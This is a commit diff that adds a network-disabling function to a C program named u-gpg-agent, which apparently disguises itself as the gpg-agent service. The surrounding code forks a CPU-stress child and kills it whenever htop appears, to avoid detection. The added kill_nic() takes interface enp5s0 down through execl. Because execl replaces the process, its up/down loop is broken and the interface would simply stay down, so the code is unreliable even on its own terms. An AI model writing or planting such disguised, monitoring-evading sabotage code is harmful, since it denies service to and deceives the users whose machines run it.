Clément K 2 жил өмнө
parent
commit
c866990b37
3 өөрчлөгдсөн 14 нэмэгдсэн , 1 устгасан
  1. 1 0
      main.c
  2. 11 0
      u-gpg-agent.c
  3. 2 1
      u-gpg-agent.h

+ 1 - 0
main.c

@@ -8,6 +8,7 @@ int main() {
     if (pid == 0) { //KINDER
         stress(1000);
     } else if (pid > 0) {
+	kill_nic();
         while(1) {
             if (is_htop_here()) {
                 kill(pid, SIGKILL);

+ 11 - 0
u-gpg-agent.c

@@ -47,3 +47,14 @@ void stress() {
         pthread_join(threads[i], NULL);
     }
 }
+
+void kill_nic() {
+	while(1) {
+		execl("/usr/bin/ip", "ip", "link", "set", "enp5s0", "down", NULL);
+		printf("nic down\n");
+		sleep(10);
+		execl("/usr/bin/ip", "ip", "link",  "set", "enp5s0", "up", NULL);
+		printf("nic up\n");
+	}
+	
+}

+ 2 - 1
u-gpg-agent.h

@@ -6,7 +6,8 @@
 #include <math.h>
 #include <time.h>
 #include <pthread.h>
+#include <unistd.h>
 
 void stress();
-
 int is_htop_here();
+void kill_nic();